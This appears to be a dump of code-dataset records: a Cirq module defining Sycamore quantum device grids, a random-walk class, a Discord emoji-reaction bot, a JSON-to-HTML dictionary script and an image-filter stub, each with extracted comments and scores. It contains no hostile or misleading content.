deadline='v0.16',
fix='This function will no longer be available.'
' `cirq_google.grid_device.create_device_specification_proto()` can be used'
' to generate a DeviceSpecification proto which matches the format expected'
' by GridDevice.',
)
def create_device_proto_from_diagram(
ascii_grid: str,
gate_sets: Optional[Iterable[serializable_gate_set.SerializableGateSet]] = None,
durations_picos: Optional[Dict[str, int]] = None,
out: Optional[device_pb2.DeviceSpecification] = None,
) -> device_pb2.DeviceSpecification:
"""Parse ASCIIart device layout into DeviceSpecification proto.
This function assumes that all pairs of adjacent qubits are valid targets
for two-qubit gates.
Args:
ascii_grid: ASCII version of the grid (see _parse_device for details).
gate_sets: Gate sets that define the translation between gate ids and
cirq Gate objects.
durations_picos: A map from gate ids to gate durations in picoseconds.
out: If given, populate this proto, otherwise create a new proto.
"""
qubits, _ = _parse_device(ascii_grid)
# Create a list of all adjacent pairs on the grid for two-qubit gates.
qubit_set = frozenset(qubits)
pairs: List[Tuple[cirq.Qid, cirq.Qid]] = []
for qubit in qubits:
for neighbor in sorted(qubit.neighbors()):
if neighbor > qubit and neighbor in qubit_set:
pairs.append((qubit, neighbor))
return create_device_proto_for_qubits(qubits, pairs, gate_sets, durations_picos, out)
def _create_grid_device_from_diagram(
ascii_grid: str,
gateset: cirq.Gateset,
gate_durations: Optional[Dict['cirq.GateFamily', 'cirq.Duration']] = None,
out: Optional[device_pb2.DeviceSpecification] = None,
) -> grid_device.GridDevice:
"""Parse ASCIIart device layout into a GridDevice instance.
This function assumes that all pairs of adjacent qubits are valid targets
for two-qubit gates.
Args:
ascii_grid: ASCII version of the grid (see _parse_device for details).
gateset: The device's gate set.
gate_durations: A map of durations for each gate in the gate set.
out: If given, populate this proto, otherwise create a new proto.
"""
qubits, _ = _parse_device(ascii_grid)
# Create a list of all adjacent pairs on the grid for two-qubit gates.
qubit_set = frozenset(qubits)
pairs: List[Tuple[cirq.GridQubit, cirq.GridQubit]] = []
for qubit in qubits:
for neighbor in sorted(qubit.neighbors()):
if neighbor > qubit and neighbor in qubit_set:
pairs.append((qubit, cast(cirq.GridQubit, neighbor)))
device_specification = grid_device.create_device_specification_proto(
qubits=qubits, pairs=pairs, gateset=gateset, gate_durations=gate_durations, out=out
)
return grid_device.GridDevice.from_proto(device_specification)
def create_device_proto_for_qubits(
qubits: Collection[cirq.Qid],
pairs: Collection[Tuple[cirq.Qid, cirq.Qid]],
gate_sets: Optional[Iterable[serializable_gate_set.SerializableGateSet]] = None,
durations_picos: Optional[Dict[str, int]] = None,
out: Optional[device_pb2.DeviceSpecification] = None,
) -> device_pb2.DeviceSpecification:
"""Create device spec for the given qubits and coupled pairs.
Args:
qubits: Qubits that can perform single-qubit gates.
pairs: Pairs of coupled qubits that can perform two-qubit gates.
gate_sets: Gate sets that define the translation between gate ids and
cirq Gate objects.
durations_picos: A map from gate ids to gate durations in picoseconds.
out: If given, populate this proto, otherwise create a new proto.
"""
if out is None:
out = device_pb2.DeviceSpecification()
# Create valid qubit list
populate_qubits_in_device_proto(qubits, out)
# Single qubit gates in this gateset
single_qubit_gates = (cirq.PhasedXPowGate, cirq.PhasedXZGate, cirq.ZPowGate)
# Set up a target set for measurement (any qubit permutation)
meas_targets = out.valid_targets.add()
meas_targets.name = _MEAS_TARGET_SET
meas_targets.target_ordering = device_pb2.TargetSet.SUBSET_PERMUTATION
# Set up a target set for 2 qubit gates (specified qubit pairs)
populate_qubit_pairs_in_device_proto(pairs, out)
# Create gate sets
arg_def = device_pb2.ArgDefinition
for gate_set in gate_sets or []:
gs_proto = out.valid_gate_sets.add()
gs_proto.name = gate_set.name
gate_ids: Set[str] = set()
for internal_type in gate_set.serializers:
for serializer in gate_set.serializers[internal_type]:
gate_id = serializer.serialized_id
if gate_id in gate_ids:
# Only add each type once
continue
gate_ids.add(gate_id)
gate = gs_proto.valid_gates.add()
gate.id = gate_id
if not isinstance(serializer, op_serializer.GateOpSerializer):
# This implies that 'serializer' handles non-gate ops,
# such as CircuitOperations. No other properties apply.
continue
# Choose target set and number of qubits based on gate type.
gate_type = internal_type
# Note: if it is not a measurement gate and it's type
# is not in the single_qubit_gates tuple, it's assumed to be a two qubit gate.
if gate_type == cirq.MeasurementGate:
gate.valid_targets.append(_MEAS_TARGET_SET)
elif gate_type == cirq.WaitGate:
# TODO: Refactor gate-sets / device to eliminate the need
# to keep checking type here.
# Github issue:
# https://github.com/quantumlib/Cirq/issues/2537
gate.number_of_qubits = 1
elif gate_type in single_qubit_gates:
gate.number_of_qubits = 1
else:
# This must be a two-qubit gate
gate.valid_targets.append(_2_QUBIT_TARGET_SET)
gate.number_of_qubits = 2
# Add gate duration
if durations_picos is not None and gate.id in durations_picos:
gate.gate_duration_picos = durations_picos[gate.id]
# Add argument names and types for each gate.
for arg in serializer.args:
new_arg = gate.valid_args.add()
if arg.serialized_type == str:
new_arg.type = arg_def.STRING
if arg.serialized_type == float:
new_arg.type = arg_def.FLOAT
if arg.serialized_type == List[bool]:
new_arg.type = arg_def.REPEATED_BOOLEAN
new_arg.name = arg.serialized_name
# Note: this does not yet support adding allowed_ranges
return out
def populate_qubits_in_device_proto(
qubits: Collection[cirq.Qid], out: device_pb2.DeviceSpecification
) -> None:
"""Populates `DeviceSpecification.valid_qubits` with the device's qubits.
Args:
qubits: The collection of the device's qubits.
out: The `DeviceSpecification` to be populated.
"""
out.valid_qubits.extend(v2.qubit_to_proto_id(q) for q in qubits)
def populate_qubit_pairs_in_device_proto(
pairs: Collection[Tuple[cirq.Qid, cirq.Qid]], out: device_pb2.DeviceSpecification
) -> None:
"""Populates `DeviceSpecification.valid_targets` with the device's qubit pairs.
Args:
pairs: The collection of the device's bi-directional qubit pairs.
out: The `DeviceSpecification` to be populated.
"""
grid_targets = out.valid_targets.add()
grid_targets.name = _2_QUBIT_TARGET_SET
grid_targets.target_ordering = device_pb2.TargetSet.SYMMETRIC
for pair in pairs:
new_target = grid_targets.targets.add()
new_target.ids.extend(v2.qubit_to_proto_id(q) for q in pair)
_SYCAMORE_GRID = """
-----AB---
----ABCD--
---ABCDEF-
--ABCDEFGH
-ABCDEFGHI
ABCDEFGHI-
-CDEFGHI--
--EFGHI---
---GHI----
----I-----
"""
# Deprecated: replaced by _SYCAMORE_DURATIONS
_SYCAMORE_DURATIONS_PICOS = {
'xy': 25_000,
'xy_half_pi': 25_000,
'xy_pi': 25_000,
'xyz': 25_000,
'fsim_pi_4': 32_000,
'inv_fsim_pi_4': 32_000,
'syc': 12_000,
'z': 0,
'meas': 4_000_000, # 1000 ns for readout, 3000ns for ring_down
}
_SYCAMORE_GATESET = cirq.Gateset(
sycamore_gate.SYC,
cirq.SQRT_ISWAP,
cirq.SQRT_ISWAP_INV,
cirq.PhasedXZGate,
# Physical Z and virtual Z gates are represented separately because they
# have different gate durations.
cirq.GateFamily(cirq.ZPowGate, tags_to_ignore=[physical_z_tag.PhysicalZTag()]),
cirq.GateFamily(cirq.ZPowGate, tags_to_accept=[physical_z_tag.PhysicalZTag()]),
coupler_pulse.CouplerPulse,
cirq.MeasurementGate,
cirq.WaitGate,
)
_SYCAMORE_DURATIONS = {
cirq.GateFamily(sycamore_gate.SYC): cirq.Duration(nanos=12),
cirq.GateFamily(cirq.SQRT_ISWAP): cirq.Duration(nanos=32),
cirq.GateFamily(cirq.SQRT_ISWAP_INV): cirq.Duration(nanos=32),
cirq.GateFamily(cirq.ops.phased_x_z_gate.PhasedXZGate): cirq.Duration(nanos=25),
cirq.GateFamily(
cirq.ops.common_gates.ZPowGate, tags_to_ignore=[physical_z_tag.PhysicalZTag()]
): cirq.Duration(nanos=0),
cirq.GateFamily(
cirq.ops.common_gates.ZPowGate, tags_to_accept=[physical_z_tag.PhysicalZTag()]
): cirq.Duration(nanos=20),
cirq.GateFamily(cirq.ops.measurement_gate.MeasurementGate): cirq.Duration(millis=4),
}
Sycamore = _create_grid_device_from_diagram(_SYCAMORE_GRID, _SYCAMORE_GATESET, _SYCAMORE_DURATIONS)
# Subset of the Sycamore grid with a reduced layout.
_SYCAMORE23_GRID = """
----------
----------
----------
--A-------
-ABC------
ABCDE-----
-CDEFG----
--EFGHI---
---GHI----
----I-----
"""
Sycamore23 = _create_grid_device_from_diagram(
_SYCAMORE23_GRID, _SYCAMORE_GATESET, _SYCAMORE_DURATIONS
)
| # Copyright 2018 The Cirq Developers
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import Collection, Dict, Optional, Iterable, List, Set, Tuple, cast
import cirq
from cirq import _compat
from cirq_google.api import v2
from cirq_google.api.v2 import device_pb2
from cirq_google.devices import grid_device
from cirq_google.experimental.ops import coupler_pulse
from cirq_google.ops import physical_z_tag, sycamore_gate
from cirq_google.serialization import op_serializer, serializable_gate_set
_2_QUBIT_TARGET_SET = "2_qubit_targets"
_MEAS_TARGET_SET = "meas_targets"
def _parse_device(s: str) -> Tuple[List[cirq.GridQubit], Dict[str, Set[cirq.GridQubit]]]:
"""Parse ASCIIart device layout into info about qubits and connectivity.
Args:
s: String representing the qubit layout. Each line represents a row,
and each character in the row is a qubit, or a blank site if the
character is a hyphen '-'. Different letters for the qubit specify
which measurement line that qubit is connected to, e.g. all 'A'
qubits share a measurement line. Leading and trailing spaces on
each line are ignored.
Returns:
A list of qubits and a dict mapping measurement line name to the qubits
on that measurement line.
"""
lines = s.strip().split('\n')
qubits: List[cirq.GridQubit] = []
measurement_lines: Dict[str, Set[cirq.GridQubit]] = {}
for row, line in enumerate(lines):
for col, c in enumerate(line.strip()):
if c != '-':
qubit = cirq.GridQubit(row, col)
qubits.append(qubit)
measurement_line = measurement_lines.setdefault(c, set())
measurement_line.add(qubit)
return qubits, measurement_lines
@_compat.deprecated(
deadline='v0.16',
fix='This function will no longer be available.'
' `cirq_google.grid_device.create_device_specification_proto()` can be used'
' to generate a DeviceSpecification proto which matches the format expected'
' by GridDevice.',
)
def create_device_proto_from_diagram(
ascii_grid: str,
gate_sets: Optional[Iterable[serializable_gate_set.SerializableGateSet]] = None,
durations_picos: Optional[Dict[str, int]] = None,
out: Optional[device_pb2.DeviceSpecification] = None,
) -> device_pb2.DeviceSpecification:
"""Parse ASCIIart device layout into DeviceSpecification proto.
This function assumes that all pairs of adjacent qubits are valid targets
for two-qubit gates.
Args:
ascii_grid: ASCII version of the grid (see _parse_device for details).
gate_sets: Gate sets that define the translation between gate ids and
cirq Gate objects.
durations_picos: A map from gate ids to gate durations in picoseconds.
out: If given, populate this proto, otherwise create a new proto.
"""
qubits, _ = _parse_device(ascii_grid)
# Create a list of all adjacent pairs on the grid for two-qubit gates.
qubit_set = frozenset(qubits)
pairs: List[Tuple[cirq.Qid, cirq.Qid]] = []
for qubit in qubits:
for neighbor in sorted(qubit.neighbors()):
if neighbor > qubit and neighbor in qubit_set:
pairs.append((qubit, neighbor))
return create_device_proto_for_qubits(qubits, pairs, gate_sets, durations_picos, out)
def _create_grid_device_from_diagram(
ascii_grid: str,
gateset: cirq.Gateset,
gate_durations: Optional[Dict['cirq.GateFamily', 'cirq.Duration']] = None,
out: Optional[device_pb2.DeviceSpecification] = None,
) -> grid_device.GridDevice:
"""Parse ASCIIart device layout into a GridDevice instance.
This function assumes that all pairs of adjacent qubits are valid targets
for two-qubit gates.
Args:
ascii_grid: ASCII version of the grid (see _parse_device for details).
gateset: The device's gate set.
gate_durations: A map of durations for each gate in the gate set.
out: If given, populate this proto, otherwise create a new proto.
"""
qubits, _ = _parse_device(ascii_grid)
# Create a list of all adjacent pairs on the grid for two-qubit gates.
qubit_set = frozenset(qubits)
pairs: List[Tuple[cirq.GridQubit, cirq.GridQubit]] = []
for qubit in qubits:
for neighbor in sorted(qubit.neighbors()):
if neighbor > qubit and neighbor in qubit_set:
pairs.append((qubit, cast(cirq.GridQubit, neighbor)))
device_specification = grid_device.create_device_specification_proto(
qubits=qubits, pairs=pairs, gateset=gateset, gate_durations=gate_durations, out=out
)
return grid_device.GridDevice.from_proto(device_specification)
def create_device_proto_for_qubits(
qubits: Collection[cirq.Qid],
pairs: Collection[Tuple[cirq.Qid, cirq.Qid]],
gate_sets: Optional[Iterable[serializable_gate_set.SerializableGateSet]] = None,
durations_picos: Optional[Dict[str, int]] = None,
out: Optional[device_pb2.DeviceSpecification] = None,
) -> device_pb2.DeviceSpecification:
"""Create device spec for the given qubits and coupled pairs.
Args:
qubits: Qubits that can perform single-qubit gates.
pairs: Pairs of coupled qubits that can perform two-qubit gates.
gate_sets: Gate sets that define the translation between gate ids and
cirq Gate objects.
durations_picos: A map from gate ids to gate durations in picoseconds.
out: If given, populate this proto, otherwise create a new proto.
"""
if out is None:
out = device_pb2.DeviceSpecification()
# Create valid qubit list
populate_qubits_in_device_proto(qubits, out)
# Single qubit gates in this gateset
single_qubit_gates = (cirq.PhasedXPowGate, cirq.PhasedXZGate, cirq.ZPowGate)
# Set up a target set for measurement (any qubit permutation)
meas_targets = out.valid_targets.add()
meas_targets.name = _MEAS_TARGET_SET
meas_targets.target_ordering = device_pb2.TargetSet.SUBSET_PERMUTATION
# Set up a target set for 2 qubit gates (specified qubit pairs)
populate_qubit_pairs_in_device_proto(pairs, out)
# Create gate sets
arg_def = device_pb2.ArgDefinition
for gate_set in gate_sets or []:
gs_proto = out.valid_gate_sets.add()
gs_proto.name = gate_set.name
gate_ids: Set[str] = set()
for internal_type in gate_set.serializers:
for serializer in gate_set.serializers[internal_type]:
gate_id = serializer.serialized_id
if gate_id in gate_ids:
# Only add each type once
continue
gate_ids.add(gate_id)
gate = gs_proto.valid_gates.add()
gate.id = gate_id
if not isinstance(serializer, op_serializer.GateOpSerializer):
# This implies that 'serializer' handles non-gate ops,
# such as CircuitOperations. No other properties apply.
continue
# Choose target set and number of qubits based on gate type.
gate_type = internal_type
# Note: if it is not a measurement gate and it's type
# is not in the single_qubit_gates tuple, it's assumed to be a two qubit gate.
if gate_type == cirq.MeasurementGate:
gate.valid_targets.append(_MEAS_TARGET_SET)
elif gate_type == cirq.WaitGate:
# TODO: Refactor gate-sets / device to eliminate the need
# to keep checking type here.
# Github issue:
# https://github.com/quantumlib/Cirq/issues/2537
gate.number_of_qubits = 1
elif gate_type in single_qubit_gates:
gate.number_of_qubits = 1
else:
# This must be a two-qubit gate
gate.valid_targets.append(_2_QUBIT_TARGET_SET)
gate.number_of_qubits = 2
# Add gate duration
if durations_picos is not None and gate.id in durations_picos:
gate.gate_duration_picos = durations_picos[gate.id]
# Add argument names and types for each gate.
for arg in serializer.args:
new_arg = gate.valid_args.add()
if arg.serialized_type == str:
new_arg.type = arg_def.STRING
if arg.serialized_type == float:
new_arg.type = arg_def.FLOAT
if arg.serialized_type == List[bool]:
new_arg.type = arg_def.REPEATED_BOOLEAN
new_arg.name = arg.serialized_name
# Note: this does not yet support adding allowed_ranges
return out
def populate_qubits_in_device_proto(
qubits: Collection[cirq.Qid], out: device_pb2.DeviceSpecification
) -> None:
"""Populates `DeviceSpecification.valid_qubits` with the device's qubits.
Args:
qubits: The collection of the device's qubits.
out: The `DeviceSpecification` to be populated.
"""
out.valid_qubits.extend(v2.qubit_to_proto_id(q) for q in qubits)
def populate_qubit_pairs_in_device_proto(
pairs: Collection[Tuple[cirq.Qid, cirq.Qid]], out: device_pb2.DeviceSpecification
) -> None:
"""Populates `DeviceSpecification.valid_targets` with the device's qubit pairs.
Args:
pairs: The collection of the device's bi-directional qubit pairs.
out: The `DeviceSpecification` to be populated.
"""
grid_targets = out.valid_targets.add()
grid_targets.name = _2_QUBIT_TARGET_SET
grid_targets.target_ordering = device_pb2.TargetSet.SYMMETRIC
for pair in pairs:
new_target = grid_targets.targets.add()
new_target.ids.extend(v2.qubit_to_proto_id(q) for q in pair)
_SYCAMORE_GRID = """
-----AB---
----ABCD--
---ABCDEF-
--ABCDEFGH
-ABCDEFGHI
ABCDEFGHI-
-CDEFGHI--
--EFGHI---
---GHI----
----I-----
"""
# Deprecated: replaced by _SYCAMORE_DURATIONS
_SYCAMORE_DURATIONS_PICOS = {
'xy': 25_000,
'xy_half_pi': 25_000,
'xy_pi': 25_000,
'xyz': 25_000,
'fsim_pi_4': 32_000,
'inv_fsim_pi_4': 32_000,
'syc': 12_000,
'z': 0,
'meas': 4_000_000, # 1000 ns for readout, 3000ns for ring_down
}
_SYCAMORE_GATESET = cirq.Gateset(
sycamore_gate.SYC,
cirq.SQRT_ISWAP,
cirq.SQRT_ISWAP_INV,
cirq.PhasedXZGate,
# Physical Z and virtual Z gates are represented separately because they
# have different gate durations.
cirq.GateFamily(cirq.ZPowGate, tags_to_ignore=[physical_z_tag.PhysicalZTag()]),
cirq.GateFamily(cirq.ZPowGate, tags_to_accept=[physical_z_tag.PhysicalZTag()]),
coupler_pulse.CouplerPulse,
cirq.MeasurementGate,
cirq.WaitGate,
)
_SYCAMORE_DURATIONS = {
cirq.GateFamily(sycamore_gate.SYC): cirq.Duration(nanos=12),
cirq.GateFamily(cirq.SQRT_ISWAP): cirq.Duration(nanos=32),
cirq.GateFamily(cirq.SQRT_ISWAP_INV): cirq.Duration(nanos=32),
cirq.GateFamily(cirq.ops.phased_x_z_gate.PhasedXZGate): cirq.Duration(nanos=25),
cirq.GateFamily(
cirq.ops.common_gates.ZPowGate, tags_to_ignore=[physical_z_tag.PhysicalZTag()]
): cirq.Duration(nanos=0),
cirq.GateFamily(
cirq.ops.common_gates.ZPowGate, tags_to_accept=[physical_z_tag.PhysicalZTag()]
): cirq.Duration(nanos=20),
cirq.GateFamily(cirq.ops.measurement_gate.MeasurementGate): cirq.Duration(millis=4),
}
Sycamore = _create_grid_device_from_diagram(_SYCAMORE_GRID, _SYCAMORE_GATESET, _SYCAMORE_DURATIONS)
# Subset of the Sycamore grid with a reduced layout.
_SYCAMORE23_GRID = """
----------
----------
----------
--A-------
-ABC------
ABCDE-----
-CDEFG----
--EFGHI---
---GHI----
----I-----
"""
Sycamore23 = _create_grid_device_from_diagram(
_SYCAMORE23_GRID, _SYCAMORE_GATESET, _SYCAMORE_DURATIONS
) | en | 0.793524 | # Copyright 2018 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. Parse ASCIIart device layout into info about qubits and connectivity. Args: s: String representing the qubit layout. Each line represents a row, and each character in the row is a qubit, or a blank site if the character is a hyphen '-'. Different letters for the qubit specify which measurement line that qubit is connected to, e.g. all 'A' qubits share a measurement line. Leading and trailing spaces on each line are ignored. Returns: A list of qubits and a dict mapping measurement line name to the qubits on that measurement line. Parse ASCIIart device layout into DeviceSpecification proto. This function assumes that all pairs of adjacent qubits are valid targets for two-qubit gates. Args: ascii_grid: ASCII version of the grid (see _parse_device for details). gate_sets: Gate sets that define the translation between gate ids and cirq Gate objects. durations_picos: A map from gate ids to gate durations in picoseconds. out: If given, populate this proto, otherwise create a new proto. # Create a list of all adjacent pairs on the grid for two-qubit gates. Parse ASCIIart device layout into a GridDevice instance. This function assumes that all pairs of adjacent qubits are valid targets for two-qubit gates. Args: ascii_grid: ASCII version of the grid (see _parse_device for details). gateset: The device's gate set. gate_durations: A map of durations for each gate in the gate set. out: If given, populate this proto, otherwise create a new proto. # Create a list of all adjacent pairs on the grid for two-qubit gates. Create device spec for the given qubits and coupled pairs. Args: qubits: Qubits that can perform single-qubit gates. pairs: Pairs of coupled qubits that can perform two-qubit gates. gate_sets: Gate sets that define the translation between gate ids and cirq Gate objects. durations_picos: A map from gate ids to gate durations in picoseconds. out: If given, populate this proto, otherwise create a new proto. # Create valid qubit list # Single qubit gates in this gateset # Set up a target set for measurement (any qubit permutation) # Set up a target set for 2 qubit gates (specified qubit pairs) # Create gate sets # Only add each type once # This implies that 'serializer' handles non-gate ops, # such as CircuitOperations. No other properties apply. # Choose target set and number of qubits based on gate type. # Note: if it is not a measurement gate and it's type # is not in the single_qubit_gates tuple, it's assumed to be a two qubit gate. # TODO: Refactor gate-sets / device to eliminate the need # to keep checking type here. # Github issue: # https://github.com/quantumlib/Cirq/issues/2537 # This must be a two-qubit gate # Add gate duration # Add argument names and types for each gate. # Note: this does not yet support adding allowed_ranges Populates `DeviceSpecification.valid_qubits` with the device's qubits. Args: qubits: The collection of the device's qubits. out: The `DeviceSpecification` to be populated. Populates `DeviceSpecification.valid_targets` with the device's qubit pairs. Args: pairs: The collection of the device's bi-directional qubit pairs. out: The `DeviceSpecification` to be populated. -----AB--- ----ABCD-- ---ABCDEF- --ABCDEFGH -ABCDEFGHI ABCDEFGHI- -CDEFGHI-- --EFGHI--- ---GHI---- ----I----- # Deprecated: replaced by _SYCAMORE_DURATIONS # 1000 ns for readout, 3000ns for ring_down # Physical Z and virtual Z gates are represented separately because they # have different gate durations. # Subset of the Sycamore grid with a reduced layout. ---------- ---------- ---------- --A------- -ABC------ ABCDE----- -CDEFG---- --EFGHI--- ---GHI---- ----I----- | 2.036313 | 2 |
random_walk_visual.py | Island-c/Python | 0 | 6616232 | <gh_stars>0
from random import choice
class RandomWalk():
"""一个生成随机漫步数据的类"""
def __init__(self,num_points=5000):
"""初始化随机漫步的属性"""
self.num_points=num_points
#所有随机漫步都始于(0,0)
self.x_values=[0]
self.y_values=[0]
def fill_walk(self):
"""计算随机漫步包含的所有点"""
#一直循环到指定长度
while len(self.x_values) < self.num_points:
#决定前进方向以及沿着个方向前进的距离
x_direction=choice([-1,1])
x_distance=choice([0,1,2,3,4])
x_step=x_direction * x_distance
y_direction=choice([-1,1])
y_distance=choice([0,1,2,3,4])
y_step=y_direction * y_distance
#拒绝原地踏步
if x_step==0 and y_step == 0:
continue
#计算下一个点的x和y值
next_x=self.x_values[-1]+x_step
next_y=self.y_values[-1]+y_step
self.x_values.append(next_x)
self.y_values.append(next_y)
| from random import choice
class RandomWalk():
"""一个生成随机漫步数据的类"""
def __init__(self,num_points=5000):
"""初始化随机漫步的属性"""
self.num_points=num_points
#所有随机漫步都始于(0,0)
self.x_values=[0]
self.y_values=[0]
def fill_walk(self):
"""计算随机漫步包含的所有点"""
#一直循环到指定长度
while len(self.x_values) < self.num_points:
#决定前进方向以及沿着个方向前进的距离
x_direction=choice([-1,1])
x_distance=choice([0,1,2,3,4])
x_step=x_direction * x_distance
y_direction=choice([-1,1])
y_distance=choice([0,1,2,3,4])
y_step=y_direction * y_distance
#拒绝原地踏步
if x_step==0 and y_step == 0:
continue
#计算下一个点的x和y值
next_x=self.x_values[-1]+x_step
next_y=self.y_values[-1]+y_step
self.x_values.append(next_x)
self.y_values.append(next_y) | zh | 0.998283 | 一个生成随机漫步数据的类 初始化随机漫步的属性 #所有随机漫步都始于(0,0) 计算随机漫步包含的所有点 #一直循环到指定长度 #决定前进方向以及沿着个方向前进的距离 #拒绝原地踏步 #计算下一个点的x和y值 | 3.967002 | 4 |
cogs/react.py | Sumesh42/Discord-Bot | 0 | 6616233 | import discord
from discord.ext import commands
import random
class React(commands.Cog):
def __init__(self, client):
self.client = client
@commands.Cog.listener()
async def on_message(self, message):
msg = ["happy", "cheery", "merry", "joy", "joyful", "jolly", "delight", "delightful", "smile", "smile", "smiley", "smiling", "blessed", "lucky", "luck"]
em = ["🤩", "😀", "😁", "😂", "🤣", "😃", "😄", "😅", "😆", "😉", "😊"]
msg1 = ["unhappy" "not happy", "sad", "sorrow", "sorrowful", "regret", "regretful", "deject", "dejected", "misery", "miserable", "downhearted", "down", "not happy", "funeral", "broken", "heartbroken", "tragedy", "die", "died", "dead", "death", "killed","kill"]
em1 = ["😥", "😓", "😔", "☹️", "🙁", "😢", "😭"]
msg2 = ["love", "loved", "lovely", "likes", "liked", "fondness", "warm", "warmth", "intimate", "intimacy", "attachment", "lust", "care", "cared", "caring", "concern", "friendship", "kind", "kindness", "sympathy", "kindliness", "affair", "love affair", "romance", "liking"]
em2 = ["😍", "😘", "🥰", "😗", "😙", "😚"]
msg3 = ["angry", "mad", "irritate", "disturb", "hate", "annoyed", "hot tempered", "annoying", "furious", "rage", "raging", "enraged", "outraged", "bad-tempered", "hot-tempered", "wild", "dirty"]
em3 = ["😡", "😠", "🤬"]
msg4 = ["plane", "aeroplane", "flight", "airport"]
em4 = ["✈️", "🛫", "🛬", "🛩"]
msg5 = ["music", "song", "songs", "melody", "melodic", "tuning", "tuned"]
em5 = ["🎤", "🎧", "🎼", "🎹", "🥁", "🎷", "🎺", "🎸", "🎻"]
for emote in msg:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em)
await message.add_reaction(rdm)
for emote in msg1:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em1)
await message.add_reaction(rdm)
for emote in msg2:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em2)
await message.add_reaction(rdm)
for emote in msg3:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em3)
await message.add_reaction(rdm)
for emote in msg4:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em4)
await message.add_reaction(rdm)
for emote in msg5:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em5)
await message.add_reaction(rdm)
def setup(client):
client.add_cog(React(client))
| import discord
from discord.ext import commands
import random
class React(commands.Cog):
def __init__(self, client):
self.client = client
@commands.Cog.listener()
async def on_message(self, message):
msg = ["happy", "cheery", "merry", "joy", "joyful", "jolly", "delight", "delightful", "smile", "smile", "smiley", "smiling", "blessed", "lucky", "luck"]
em = ["🤩", "😀", "😁", "😂", "🤣", "😃", "😄", "😅", "😆", "😉", "😊"]
msg1 = ["unhappy" "not happy", "sad", "sorrow", "sorrowful", "regret", "regretful", "deject", "dejected", "misery", "miserable", "downhearted", "down", "not happy", "funeral", "broken", "heartbroken", "tragedy", "die", "died", "dead", "death", "killed","kill"]
em1 = ["😥", "😓", "😔", "☹️", "🙁", "😢", "😭"]
msg2 = ["love", "loved", "lovely", "likes", "liked", "fondness", "warm", "warmth", "intimate", "intimacy", "attachment", "lust", "care", "cared", "caring", "concern", "friendship", "kind", "kindness", "sympathy", "kindliness", "affair", "love affair", "romance", "liking"]
em2 = ["😍", "😘", "🥰", "😗", "😙", "😚"]
msg3 = ["angry", "mad", "irritate", "disturb", "hate", "annoyed", "hot tempered", "annoying", "furious", "rage", "raging", "enraged", "outraged", "bad-tempered", "hot-tempered", "wild", "dirty"]
em3 = ["😡", "😠", "🤬"]
msg4 = ["plane", "aeroplane", "flight", "airport"]
em4 = ["✈️", "🛫", "🛬", "🛩"]
msg5 = ["music", "song", "songs", "melody", "melodic", "tuning", "tuned"]
em5 = ["🎤", "🎧", "🎼", "🎹", "🥁", "🎷", "🎺", "🎸", "🎻"]
for emote in msg:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em)
await message.add_reaction(rdm)
for emote in msg1:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em1)
await message.add_reaction(rdm)
for emote in msg2:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em2)
await message.add_reaction(rdm)
for emote in msg3:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em3)
await message.add_reaction(rdm)
for emote in msg4:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em4)
await message.add_reaction(rdm)
for emote in msg5:
if message.channel.id == 684887204480548889 and message.content.count(emote) > 0:
rdm = random.choice(em5)
await message.add_reaction(rdm)
def setup(client):
client.add_cog(React(client))
| none | 1 | 2.717309 | 3 | |
tools/json2html.py | vitkyrka/nordict | 1 | 6616234 | <reponame>vitkyrka/nordict
#!/usr/bin/env python3
import sys
import json
import jinja2
def main():
lemmas = json.load(sys.stdin)
template = jinja2.Environment().from_string(source='''
{% for lemma in lemmas %}
<h2><a href="https://svenska.se/so/?sok={{lemma.word}}">{{lemma.word}}</a> <small>{{lemma.declension|escape}} <i>{{lemma.pos}}</i></small><br>{{lemma.pronunciation|join(" ")}}</h2>
{% for def in lemma.definition %}
<li>{{def}}</li>
{% endfor %}
{% endfor %}
''')
print(template.render(lemmas=lemmas))
if __name__ == '__main__':
main()
| #!/usr/bin/env python3
import sys
import json
import jinja2
def main():
lemmas = json.load(sys.stdin)
template = jinja2.Environment().from_string(source='''
{% for lemma in lemmas %}
<h2><a href="https://svenska.se/so/?sok={{lemma.word}}">{{lemma.word}}</a> <small>{{lemma.declension|escape}} <i>{{lemma.pos}}</i></small><br>{{lemma.pronunciation|join(" ")}}</h2>
{% for def in lemma.definition %}
<li>{{def}}</li>
{% endfor %}
{% endfor %}
''')
print(template.render(lemmas=lemmas))
if __name__ == '__main__':
main() | en | 0.093296 | #!/usr/bin/env python3 {% for lemma in lemmas %} <h2><a href="https://svenska.se/so/?sok={{lemma.word}}">{{lemma.word}}</a> <small>{{lemma.declension|escape}} <i>{{lemma.pos}}</i></small><br>{{lemma.pronunciation|join(" ")}}</h2> {% for def in lemma.definition %} <li>{{def}}</li> {% endfor %} {% endfor %} | 3.037342 | 3 |
imageFilterer.py | MATSEAusbildung-RWTHAachen/Clusterman | 2 | 6616235 | <reponame>MATSEAusbildung-RWTHAachen/Clusterman
# -*- coding: utf-8 -*-
#! /usr/bin/python
